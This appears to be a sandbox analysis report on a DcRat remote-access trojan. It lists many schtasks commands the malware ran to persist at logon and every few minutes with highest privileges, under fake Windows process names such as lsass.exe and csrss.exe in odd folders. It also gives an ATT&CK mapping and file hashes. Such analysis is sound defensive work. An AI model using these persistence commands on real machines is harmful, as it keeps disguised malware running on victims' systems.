schtasks.exe /create /tn "Registry" /sc ONLOGON /tr "'C:\Windows\SystemResources\Windows.UI.SettingsAppThreshold\SystemSettings\Assets\Registry.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2192

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 10 /tr "'C:\Windows\SystemResources\Windows.UI.SettingsAppThreshold\SystemSettings\Assets\Registry.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1940

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 12 /tr "'C:\Program Files\Microsoft Office 15\ClientX64\Registry.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1684

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Registry" /sc ONLOGON /tr "'C:\Program Files\Microsoft Office 15\ClientX64\Registry.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2456

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 11 /tr "'C:\Program Files\Microsoft Office 15\ClientX64\Registry.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:3576

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 10 /tr "'C:\Users\Default User\fontdrvhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4260

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Users\Default User\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1996

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 5 /tr "'C:\Users\Default User\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
PID:4568

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 14 /tr "'C:\Windows\Containers\csrss.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:540

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Windows\Containers\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2488

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 6 /tr "'C:\Windows\Containers\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5076

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Windows Defender\fr-FR\lsass.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3480

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Defender\fr-FR\lsass.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
PID:3396

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Windows Defender\fr-FR\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4860

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 13 /tr "'C:\Users\All Users\ssh\backgroundTaskHost.exe'" /f
1⤵
- Process spawned unexpected child process
PID:3752

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHost" /sc ONLOGON /tr "'C:\Users\All Users\ssh\backgroundTaskHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4460

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 12 /tr "'C:\Users\All Users\ssh\backgroundTaskHost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2776

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 11 /tr "'C:\Users\Default\Downloads\sysmon.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3248

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmon" /sc ONLOGON /tr "'C:\Users\Default\Downloads\sysmon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:1528

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 5 /tr "'C:\Users\Default\Downloads\sysmon.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
PID:4936

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 7 /tr "'C:\Users\Default\SendTo\SearchApp.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3716

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchApp" /sc ONLOGON /tr "'C:\Users\Default\SendTo\SearchApp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:3900

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 7 /tr "'C:\Users\Default\SendTo\SearchApp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:2780

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 14 /tr "'C:\Users\Public\Downloads\explorer.exe'" /f
1⤵
- Process spawned unexpected child process
PID:1052

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Users\Public\Downloads\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:1188

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 11 /tr "'C:\Users\Public\Downloads\explorer.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:772

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 10 /tr "'C:\Recovery\WindowsRE\fontdrvhost.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2028

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2880

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 6 /tr "'C:\Recovery\WindowsRE\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:400

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Windows Defender\SearchApp.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4332

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchApp" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Defender\SearchApp.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1440

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Windows Defender\SearchApp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4784

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Common Files\Java\Java Update\OfficeClickToRun.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:380

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OfficeClickToRun" /sc ONLOGON /tr "'C:\Program Files (x86)\Common Files\Java\Java Update\OfficeClickToRun.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1840

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Common Files\Java\Java Update\OfficeClickToRun.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4136

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 11 /tr "'C:\Program Files\Windows Mail\spoolsv.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1036

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\Program Files\Windows Mail\spoolsv.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1408

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 6 /tr "'C:\Program Files\Windows Mail\spoolsv.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4808

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Windows Sidebar\Shared Gadgets\fontdrvhost.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
PID:2024

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Sidebar\Shared Gadgets\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3552

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Windows Sidebar\Shared Gadgets\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1480

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 9 /tr "'C:\Program Files\Common Files\DESIGNER\sppsvc.exe'" /f
1⤵
- Process spawned unexpected child process
PID:216

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Program Files\Common Files\DESIGNER\sppsvc.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3444

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 6 /tr "'C:\Program Files\Common Files\DESIGNER\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:3788

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 12 /tr "'C:\Users\All Users\regid.1991-06.com.microsoft\StartMenuExperienceHost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3508

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHost" /sc ONLOGON /tr "'C:\Users\All Users\regid.1991-06.com.microsoft\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
PID:4896

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 5 /tr "'C:\Users\All Users\regid.1991-06.com.microsoft\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4936

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "unsecappu" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Internet Explorer\uk-UA\unsecapp.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
PID:1984

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "unsecapp" /sc ONLOGON /tr "'C:\Program Files (x86)\Internet Explorer\uk-UA\unsecapp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:4396

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "unsecappu" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Internet Explorer\uk-UA\unsecapp.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
PID:1436

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 10 /tr "'C:\Windows\Panther\actionqueue\lsass.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4264

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Windows\Panther\actionqueue\lsass.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2140

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 10 /tr "'C:\Windows\Panther\actionqueue\lsass.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4712

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 7 /tr "'C:\Windows\Downloaded Program Files\StartMenuExperienceHost.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3460

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHost" /sc ONLOGON /tr "'C:\Windows\Downloaded Program Files\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:952

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 6 /tr "'C:\Windows\Downloaded Program Files\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1792

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 5 /tr "'C:\Program Files\Internet Explorer\it-IT\RuntimeBroker.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2460

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Program Files\Internet Explorer\it-IT\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4456

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 13 /tr "'C:\Program Files\Internet Explorer\it-IT\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:432

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TextInputHostT" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Windows Multimedia Platform\TextInputHost.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3728

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TextInputHost" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Multimedia Platform\TextInputHost.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:4028

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TextInputHostT" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Windows Multimedia Platform\TextInputHost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Scheduled Task/Job: Scheduled Task
PID:4612

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 11 /tr "'C:\Users\Public\Documents\lsass.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:1524

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Users\Public\Documents\lsass.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:2568

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 9 /tr "'C:\Users\Public\Documents\lsass.exe'" /rl HIGHEST /f
1⤵
- DcRat
PID:1840

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 9 /tr "'C:\Program Files\Windows Sidebar\sihost.exe'" /f
1⤵
PID:1680

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihost" /sc ONLOGON /tr "'C:\Program Files\Windows Sidebar\sihost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Scheduled Task/Job: Scheduled Task
PID:1128

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 11 /tr "'C:\Program Files\Windows Sidebar\sihost.exe'" /rl HIGHEST /f
1⤵
- DcRat
PID:3732

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 5 /tr "'C:\Windows\bcastdvr\sppsvc.exe'" /f
1⤵
PID:4440

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Windows\bcastdvr\sppsvc.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Scheduled Task/Job: Scheduled Task
PID:5108

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 10 /tr "'C:\Windows\bcastdvr\sppsvc.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Scheduled Task/Job: Scheduled Task
PID:4872

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\StartMenuExperienceHost.exe'" /f
1⤵
PID:2412

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Scheduled Task/Job: Scheduled Task
PID:316

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 14 /tr "'C:\Recovery\WindowsRE\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Scheduled Task/Job: Scheduled Task
PID:4464

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 9 /tr "'C:\Recovery\WindowsRE\services.exe'" /f
1⤵
- DcRat
- Scheduled Task/Job: Scheduled Task
PID:4960

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\services.exe'" /rl HIGHEST /f
1⤵
- DcRat
PID:2332

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\services.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:4328

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Google\Temp\RuntimeBroker.exe'" /f
1⤵
- DcRat
PID:412

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Program Files (x86)\Google\Temp\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:2344

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Google\Temp\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- DcRat
PID:2880

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TextInputHostT" /sc MINUTE /mo 9 /tr "'C:\Program Files\Windows Portable Devices\TextInputHost.exe'" /f
1⤵
- DcRat
- Scheduled Task/Job: Scheduled Task
PID:3644

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TextInputHost" /sc ONLOGON /tr "'C:\Program Files\Windows Portable Devices\TextInputHost.exe'" /rl HIGHEST /f
1⤵
PID:3388

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TextInputHostT" /sc MINUTE /mo 7 /tr "'C:\Program Files\Windows Portable Devices\TextInputHost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Scheduled Task/Job: Scheduled Task
PID:4816

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Microsoft.NET\RedistList\dllhost.exe'" /f
1⤵
- DcRat
PID:2776

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Microsoft.NET\RedistList\dllhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Scheduled Task/Job: Scheduled Task
PID:4568

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Microsoft.NET\RedistList\dllhost.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:3124

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 13 /tr "'C:\Windows\PolicyDefinitions\spoolsv.exe'" /f
1⤵
- DcRat
PID:4468

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\Windows\PolicyDefinitions\spoolsv.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Scheduled Task/Job: Scheduled Task
PID:3048

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 11 /tr "'C:\Windows\PolicyDefinitions\spoolsv.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:4804

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe.log

Filesize
1KB

MD5
bbb951a34b516b66451218a3ec3b0ae1

SHA1
7393835a2476ae655916e0a9687eeaba3ee876e9

SHA256
eb70c64ae99d14ac2588b7a84854fbf3c420532d7fe4dfd49c7b5a70c869943a

SHA512
63bcbfcf8e7421c66855c487c31b2991a989bdea0c1edd4c40066b52fa3eb3d9d37db1cd21b8eb4f33dd5870cc20532c8f485eab9c0b4f6b0793a35c077f2d6f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\lsass.exe.log

Filesize
1KB

MD5
4a667f150a4d1d02f53a9f24d89d53d1

SHA1
306e125c9edce66f28fdb63e6c4ca5c9ad6e8c97

SHA256
414659decfd237dde09625a49811e03b5b30ee06ee2ee97ea8bcfac394d281fd

SHA512
4edd8e73ce03488a6d92750a782cd4042fbb54a5b3f8d8ba3ea227fda0653c2cd84f0c5d64976c7cdc1f518a2fdc8ff10e2a015ec7acf3cd01b0d62bc98542d8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
2e907f77659a6601fcc408274894da2e

SHA1
9f5b72abef1cd7145bf37547cdb1b9254b4efe9d

SHA256
385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233

SHA512
34fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
62623d22bd9e037191765d5083ce16a3

SHA1
4a07da6872672f715a4780513d95ed8ddeefd259

SHA256
95d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010

SHA512
9a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
59d97011e091004eaffb9816aa0b9abd

SHA1
1602a56b01dd4b7c577ca27d3117e4bcc1aa657b

SHA256
18f381e0db020a763b8c515c346ef58679ab9c403267eacfef5359e272f7e71d

SHA512
d9ca49c1a17580981e2c1a50d73c0eecaa7a62f8514741512172e395af2a3d80aeb0f71c58bc7f52c18246d57ba67af09b6bff4776877d6cc6f0245c30e092d6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
e59140d6693b6a0f6a8617b45bdef9fe

SHA1
7157a22b2533d10fe8ed91d2c5782b44c79bbcde

SHA256
baeb07292d7c8d7ba665a29178999ea08d4b26e8d05bb29c6dee8b8dad8de27e

SHA512
117494cb9415e968827ec38ff11fe6eb4781a76476a2a580f08c5f2d5d4f7ccac425dfd81c16536342a32b42a7b3dffdf471dd2666b1a11ded9f57108c6df7b7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
a9a7f35c006bbf5da72f9cb250ffbddb

SHA1
458a8cedc38dac109631d9fccb3bf6d2c5c0e89e

SHA256
a1db56d56e35a6c95f98204e40f69f70422969681d408e5edc4afbf732eef86b

SHA512
d341773d30e09214567c65f24cd1854f1e438b8528aa30d35b6baac16e671dde1245edda654f19343b7c160da45985ab53f08453e7f6286e272d544f8741c131

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
a31e3b16f0fe657bf48b4834d25903d2

SHA1
70f5eec08cd428fa6325923132fbd3a07216ffcb

SHA256
06c8d386a5bb89cf4eb2a48d4baac18207e1008d3eaf040d9c2dff0d85dfbf2f

SHA512
375423c76b20f1a1de71c108fe7c2c4e443aaaf8615983cb8ba58f2733a088a4b649ac43749d70e8c3205759de5b9f4c95cea97d6ca1887e8751873fff4efdc4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
aba273eeba4876ea41ee0e64b4cbb51d

SHA1
bef5f75b81cf27268dc0d0f30f00b022f9288db9

SHA256
67fc3f5c3407858793c6fac6131b0f340667ffc567fa76b43245ecf2621322c9

SHA512
23dc2f0cfc68194dcbf407a6528cf9f9a8aa89f4821be22413bde036ae5ca44144b568aa3160372b9741f3d0f5baa48dff8a8b582bdedc3ad3fb121af340c0ae

Download Submit
